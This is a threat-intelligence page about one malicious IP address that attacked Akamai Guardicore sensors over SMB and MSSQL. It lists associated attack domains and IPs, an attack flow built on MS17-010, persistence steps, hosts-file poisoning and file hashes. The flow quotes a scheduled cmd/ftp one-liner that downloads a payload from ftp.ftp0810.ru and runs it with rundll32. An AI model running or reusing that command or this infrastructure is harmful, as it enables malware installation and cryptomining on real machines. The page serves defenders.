Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 185.98.165.140Malicious

IP Address: 185.98.165.140Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL SMB

Tags

Access Suspicious Domain Persistency - Image Hijack DNS Query Download File CMD DNS Poisoning SMB Null Session Login Scheduled Task Creation SMB HTTP PowerShell IDS - Attempted Administrator Privilege Gain Outgoing Connection Known Malware MS17-010 Download and Execute File Operation By CMD Service Configuration System File Modification

Associated Attack Servers

grantmindline.com mssql.loader0118.xyz neachers.com ok.xmrpool.ru other.xmrpool.ru shell.loader0807.site

77.73.69.34 101.255.56.42 103.106.250.161 104.37.187.182 107.148.13.151 139.5.177.32 144.208.127.215 185.47.128.124 205.234.253.185

Basic Information

IP Address

185.98.165.140

Domain

-

ISP

Teleimpianti Srl

Country

Italy

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2022-11-18

Last seen in Akamai Guardicore Segmentation

2024-05-11

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

IDS detected Attempted Administrator Privilege Gain : Windows SMB remote code execution attempt

IDS - Attempted Administrator Privilege Gain

The machine was exploited using the ms17-010 vulnerability

PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe generated outgoing network traffic to: 103.106.250.161:8161, 139.5.177.32:80, 139.5.177.32:8032, 144.208.127.215:8080 and 77.73.69.34:8034

Outgoing Connection

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: neachers.com and shell.loader0807.site

Outgoing Connection Access Suspicious Domain DNS Query

The command line c:\windows\temp\conhoy.exe was scheduled to run by modifying C:\Windows\System32\Tasks\MicrosoftsWindowsy

The file C:\Windows\Temp\conhoy.exe was downloaded and executed 46 times

Download and Execute

System file C:\Windows\AppCompat\Programs\Amcache.hve was modified

System File Modification

C:\Windows\Temp\wmia.bat was downloaded

Download File

System file C:\windows\Temp\ntuser.dat was modified 4 times

System File Modification

System file c:\windows\inf\aspnet\lsma22.exe was modified 4 times

System File Modification

C:\Windows\Temp\u.exe was downloaded

Download File

C:\windows\Temp\ntuser.dat was downloaded

Download File

The command line rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa1

The command line cmd /c echo open ftp.ftp0810.ru>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa2

Process c:\windows\temp\u.exe generated outgoing network traffic to: 104.37.187.182:80

Outgoing Connection

Process c:\windows\temp\u.exe attempted to access suspicious domains: grantmindline.com

Outgoing Connection Access Suspicious Domain

The command line rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa was scheduled to run by modifying C:\Windows\System32\Tasks\ok

The command line c:\windows\inf\aspnet\lsma22.exe was scheduled to run by modifying C:\Windows\System32\Tasks\oka

c:\windows\system32\cmd.exe set the command line ntsd -d to run using Persistency - Image Hijack

Persistency - Image Hijack

c:\windows\system32\conhost.exe set the command line ntsd -d to run using Persistency - Image Hijack

Persistency - Image Hijack

c:\windows\system32\reg.exe set the command line ntsd -d to run using Persistency - Image Hijack

Persistency - Image Hijack

The file C:\Windows\SysWOW64\wpcap.dll was downloaded and loaded by c:\windows\system\msinfo.exe

Download and Execute

The file C:\Windows\SysWOW64\npptools.dll was downloaded and loaded by c:\windows\system\msinfo.exe

Download and Execute

DNS poisoning detected, with hostname kr1s.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname zcop.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname sql.4i7i.com , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname kr1s.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname zcop.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname sql.4i7i.com , and associated IP address 127.0.0.1

System file C:\Windows\System32\drivers\etc\hosts was modified

System File Modification

The file c:\windows\inf\aspnet\lsma22.exe was downloaded and executed

Download and Execute

The file C:\Windows\debug\item.dat was downloaded and loaded by c:\windows\debug\item.dat

Download and Execute

Process c:\windows\inf\aspnet\lsma22.exe started listening on ports: 81

Listening

Process c:\windows\inf\aspnet\lsma22.exe attempted to access suspicious domains: ok.xmrpool.ru and other.xmrpool.ru

Access Suspicious Domain DNS Query

Connection was closed due to timeout

Associated Files

C:\WINDOWS\Debug\item.dat

SHA256: 1e8441f0d32d3854e0b3801063f6015a9f09637d77b714f8e58fb8c198693a51

4122624 bytes

C:\WINDOWS\system\msinfo.exe

SHA256: 20c29760791e953c383bcc5a49ceb1c4b96f077c7ad8a6d7d14b030b5804acc5

7277056 bytes

C:\WINDOWS\Temp\u.exe

SHA256: 24d33ff73c3f2dd24fdf6c1bc92a57371070ff530564ef3e81bf096cfafbda84

38400 bytes

C:\Windows\SysWOW64\npptools.dll

SHA256: 366b77df76729d08687051c1ec4b718ba1d650bca5b16eb15ec5c11570d6ff16

48128 bytes

C:\WINDOWS\Temp\conhoy.exe

SHA256: 58064d9b9c44e6d6fe6f20abc74335859fb822f733d1b3e231a9d85aaef8e638

7680 bytes

C:\Windows\SysWOW64\wpcap.dll

SHA256: b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

282360 bytes

C:\WINDOWS\inf\aspnet\lsma22.exe

SHA256: ba1e190e87d89ff7943cca039f357ca8e7c37255d51accf49393e2f9119dec04

1709568 bytes